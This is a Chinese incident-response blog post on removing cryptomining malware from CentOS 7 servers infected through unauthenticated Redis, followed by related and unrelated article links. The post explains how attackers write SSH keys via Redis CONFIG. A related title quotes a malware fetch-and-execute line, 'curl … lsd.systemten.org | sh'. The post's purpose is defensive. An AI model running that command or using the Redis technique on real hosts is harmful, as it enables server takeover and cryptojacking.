挖矿病毒分析(centos7)
因为我在工作的时候被各种挖矿病毒搞过几次,所以在这里整理下我遇到的病毒以及大神们的解决方案。
服务器中挖矿病毒后,最基本的一个特征就是CPU使用率瞬间飙升,此时可以通过top命令进行查看,确认是否有异常进程,当然有一些挖矿病毒稍微高级一些,比如pamdicks,它的进程是隐藏的,通过unhide命令或者使用sysdig命令可以查看。
挖矿病毒的特点:
1、文件/定时任务删除失败-------------------文件只读属性保护
2、文件/定时任务删完又出现-----------------系统文件替换/下载进程残留
3、病毒进程刚刚删完又被拉起---------------恶意进程守护
4、主机严重卡顿但找不到挖矿进程-----------系统命令劫持
5、主机杀干净后一段时间又出现病毒---------ssh&漏洞再次入侵
当服务器中挖矿病毒后,很有可能系统命令被黑客替换,导致执行某系统命令时,有可能执行被黑客注入到服务器的恶意程序,所以服务器上最好提前安装个busybox。
1、 pnscan
比较有名的挖矿蠕虫病毒,攻击手段为通过redis感染服务器,如果redis的端口为默认的6379且暴露在公网上,且没有设置客户端连接密码认证,很容易感染,这个病毒是分级别的,好在我遇到的是比较简单的,解决方法如下
(1)首先通过busybox top查看pnscan的路径,
(2)删除pnscan,可能文件是只读的,不能被删除,需要通过busybox lsattr 文件名查看文件的属性,一般属性是-a或者-i,然后执行busybox chattr –a/-i 文件名更改文件属性后即可删除
(3)杀掉pnscan相关进程
2、rshim
挖矿病毒的一种,常见于以root用户启动redis服务,并且redis使用默认端口,导致6379端口被攻击。解决方法跟pnscan差不多,在查找文件和进程的时候,发现由hilde用户执行,在home目录下多了个hilde目录,里面创建了免密登录的公钥,需要hilde整个目录删除,之后执行userdel –r hilde删除该用户
图片没截全,简单看看就行
3、[scan]
这个具体不清楚是什么病毒,看网上说也是通过redis进行攻击的,本次cpu占满也是因为这个进程,解决方案跟上面相似,也是先查路径,再删文件,再杀进程。通过查看它的文件,我们可以看到如下图所示的代码。
通过它的脚本看到redis-cli –h….相关的代码,查看进程发现果然多了一个redis-cli的进程。具体是什么作用,这里不做研究,只知道要把脚本删掉,把这个进程杀掉就可以了。
然后我在查看磁盘空间的时候,发现根目录磁盘使用情况不太正常,推测应该是被脚本恶意生成了隐藏文件,我进入到根目录下ls –a查看,发现多出了很多如下图所示的文件。
都是.r.*这种格式的文件,查了一下发现这种文件有四万多个,果断删掉,把这些文件删掉后,再查看磁盘使用情况,已经正常了。
4、pamdicks
这是我之前工作就遇到过的挖矿木马,也是第一个遇到的,当时没什么经验,弄到很晚,这里有朋友圈为证
可以看出来啊,这个木马特别的猛啊,8核的cpu瞬间干满,不断启动pamdicks进程,服务器不断重启,操作起来特别卡。解决方案就是删除原文件,并创建一个顶包空文件,然后使用系统chattr对其进行锁定禁止修改。命令如下。
rm -rf /usr/bin/pamdicks /bin/pamdicks
touch /usr/bin/pamdicks /bin/pamdicks
chattr +i /usr/bin/pamdicks /bin/pamdicks
然后再杀进程就可以了。
本次服务器被入侵,被人植入了密钥文件,导致入侵者可以免密登录服务器,在redis中看到了一个很奇怪的key,它的value的意思是一个定时任务通过curl下载某个sh脚本,并执行,看到网上的一位博主,总结的很好,它总结的原因如下。
1.redis没有做任何安全措施,直接暴露在公网,任何redis客户端都可以直接连接。
2.被恶意的连接连接上后,在他的机器上生成ssh秘钥,然后set到redis中,最后使用redis的config命令,将默认RDB方式出来的dump.rdb文件修改为authorized_keys,然后把文件的目录设置到/root/.ssh下。
3.这样一来,就非常危险了,攻击者可以直接ssh到你的linux主机,接下来,root账户,为所欲为。被挖矿也就不稀奇了。
建议:redis一定要设强密码,改端口,端口尽量不要对外开放。
不要以为在外网redis的端口不通就没有事情。只要内网里有机器感染了病毒,就可以继续感染。
挖矿病毒分析(centos7)的更多相关文章
- [FreeBuff]Trojan.Miner.gbq挖矿病毒分析报告
Trojan.Miner.gbq挖矿病毒分析报告 https://www.freebuf.com/articles/network/196594.html 竟然还有端口转发... 这哥们.. 江民安全 ...
- Linux服务器感染kerberods病毒 | 挖矿病毒查杀及分析 | (curl -fsSL lsd.systemten.org||wget -q -O- lsd.systemten.org)|sh)
概要: 一.症状及表现 二.查杀方法 三.病毒分析 四.安全防护 五.参考文章 一.症状及表现 1.CPU使用率异常,top命令显示CPU统计数数据均为0,利用busybox 查看CPU占用率之后,发 ...
- 挖矿病毒DDG的分析与清除
注:以下所有操作均在CentOS 7.2 x86_64位系统下完成. 今天突然收到“阿里云”的告警短信: 尊敬的****:云盾云安全中心检测到您的服务器:*.*.*.*(app)出现了紧急安全事件:挖 ...
- 挖矿病毒、ddos入侵流程及溯源
一 挖矿病毒简介 攻击者利用相关安全隐患向目标机器种植病毒的行为. 二 攻击方式 攻击者通常利用弱口令.未授权.代码执行.命令执行等漏洞进行传播.示例如下: 示例1: POST /tmUnblo ...
- Window应急响应(四):挖矿病毒
0x00 前言 随着虚拟货币的疯狂炒作,挖矿病毒已经成为不法分子利用最为频繁的攻击方式之一.病毒传播者可以利用个人电脑或服务器进行挖矿,具体现象为电脑CPU占用率高,C盘可使用空间骤降,电脑温度升 ...
- Linux应急响应(三):挖矿病毒
0x00 前言 随着虚拟货币的疯狂炒作,利用挖矿脚本来实现流量变现,使得挖矿病毒成为不法分子利用最为频繁的攻击方式.新的挖矿攻击展现出了类似蠕虫的行为,并结合了高级攻击技术,以增加对目标服务器感染 ...
- 5.Windows应急响应:挖矿病毒
0x00 前言 随着虚拟货币的疯狂炒作,挖矿病毒已经成为不法分子利用最为频繁的攻击方式之一.病毒 传播者可以利用个人电脑或服务器进行挖矿,具体现象为电脑CPU占用率高,C盘可使用空间骤降, 电脑温度升 ...
- 记一次生产主机中挖矿病毒"kintegrityds"处理过程!
[记一次生产挖矿病毒处理过程]: 可能性:webaap用户密码泄露.Jenkins/redis弱口令等. 1.监控到生产主机一直load告警 2.进服务器 top查看进程,发现挖矿病毒进程,此进程持续 ...
- Windows Azure Virtual Machine (39) 清除Linux挖矿病毒
<Windows Azure Platform 系列文章目录> 1.之前客户遇到了Azure Linux CPU 100%,症状如下: 2.SSH登录到Linux,查看crontab,有从 ...
随机推荐
- nginx配置限制同一个ip的访问频率方法
1.在nginx.conf里的http{}里加上如下代码: limit_conn_zone $binary_remote_addr zone=perip:10m; limit_conn_zone ...
- Java案例——日期工具类
需求:定义一个日期工具类,包含两个方法,按日期转化成指定格式的字符串,把字符串解析为指定格式的日期 然后定义一个测试类测试 分析: 1.定义一个日期工具类 2.定义一个方法dateToString,用 ...
- luoguP6619 [省选联考 2020 A/B 卷]冰火战士(线段树,二分)
luoguP6619 [省选联考 2020 A/B 卷]冰火战士(线段树,二分) Luogu 题外话1: LN四个人切D1T2却只有三个人切D1T1 很神必 我是傻逼. 题外话2: 1e6的数据直接i ...
- CF1553X Harbour.Space Scholarship Contest 2021-2022 (Div. 1 + Div. 2)
掉大分 E 对于一个序列,把它排回去的最小次数是 $\sum置换环大小-1=错位个数-置换环个数$ 注意到m小于等于n/3.那么最多修正2m个错位.正确位置的个数必须大于等于n/3才可能在m次内修正. ...
- 《前端运维》四、Jenkins--持续构建
首先,我们先来了解下什么叫做持续构建.持续构建简称CI,负责拉取代码库中的代码后,执行用户预定义的脚本,通过一系列编译操作构建出一个制品,并将制品推送到制品库里.常用的持续构建工具有 Gitlab C ...
- [MRCTF]XOR-无法生成反汇编的处理
主程序,无法生成伪代码 由此分为两种方法即: 直接看反汇编 解决问题,尝试生成伪代码 硬啃汇编 输入与输出 判断输入长度是否为0x1B,其中al为eax的低8位 将输入的字符每个与当前字符所在下标异或 ...
- 请写出你最常见到的5个runtime exception?
对于一个有1-2年左右编程经验的人来说,总会经常遇到一些常见的异常,其中有些就是Runtime Exception.比如: NullPointerException - 当调用一个未初始化的引用变量( ...
- 正则-Java注释代码
今天写了个匹配java中常见的注释,记录一下,以备后用,使用条件将行两边的空格trim掉. (^\/\*.*)|(^\/\/.*)|(^\*.*)
- Hibernate实体的三种状态是什么?各有什么特点?
瞬时态(Transient). 持久态(Persistent).脱管态(Detached).处于持久态的对象也称为PO(Persistence Object),瞬时对象和脱管对象也称为VO(Value ...
- SpringBoot 日志
springboot日志简介 SpringBoot使用的日志是sl4j + logback,sl4j是抽象层,不做具体的实现.实现主要是logback来做.SpringBoot同时也整合了其他框架的日 ...